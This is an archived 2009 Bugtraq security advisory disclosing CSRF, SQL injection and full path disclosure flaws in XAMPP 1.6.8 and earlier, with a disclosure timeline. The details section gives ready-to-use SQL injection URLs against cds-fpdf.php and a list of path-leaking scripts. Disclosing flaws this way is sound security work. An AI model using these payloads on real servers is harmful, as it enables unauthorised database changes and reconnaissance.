AOH :: HP Unsorted X :: BU-1649.HTM

XAMPP (advisory #7) Multiple vulnerabilities



Multiple vulnerabilities in XAMPP (advisory #7)
Multiple vulnerabilities in XAMPP (advisory #7)



Hello Bugtraq!

I am continue informing you about multiple vulnerabilities in XAMPP.

-----------------------------
Advisory #7
-----------------------------
CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
-----------------------------
URL: http://websecurity.com.ua/3285/ 
-----------------------------
Timeline:

27.06.2009 - found the vulnerabilities.
01.07.2009 - announced at my site.
02.07.2009 - informed developers.
08.08.2009 - disclosed at my site.
-----------------------------
Details:

These are Cross-Site Request Forgery, SQL Injection and Full path disclosure
vulnerabilities.

CSRF:

http://site/xampp/cds-fpdf.php 

It's possible to delete or add data in test table (as via CSRF, and as via
Insufficient Authorization vulnerabilities). And also to conduct SQL
Injection via CSRF attacks.

SQL Injection:

http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register globals 
on)

http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1 

http://site/xampp/cds-fpdf.php?interpret=1&titel=',1,1),(version(),1,1)/* 
(mq off)

http://site/xampp/cds-fpdf.php?titel=1&interpret=',1),(version(),1,1)/* (mq 
off)

Attack is possible during access to admin panel (via Insufficient
Authorization), or via CSRF.

Full path disclosure:

http://site/xampp/external/ps/draw.php 
http://site/xampp/external/ps/hyperlinks.php 
http://site/xampp/external/ps/image.php 
http://site/xampp/external/ps/overprint.php 
http://site/xampp/external/ps/ps.php?submit=OK 
http://site/xampp/external/ps/shading.php 
http://site/xampp/external/ps/spotcolor.php 
http://site/xampp/external/ps/text.php 
http://site/xampp/special/ps/draw.php 
http://site/xampp/special/ps/hyperlinks.php 
http://site/xampp/special/ps/image.php 
http://site/xampp/special/ps/overprint.php 
http://site/xampp/special/ps/ps.php?submit=OK 
http://site/xampp/special/ps/shading.php 
http://site/xampp/special/ps/spotcolor.php 
http://site/xampp/special/ps/text.php 

Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
versions (including last version XAMPP 1.7.1).

-----------------------------

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 


The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.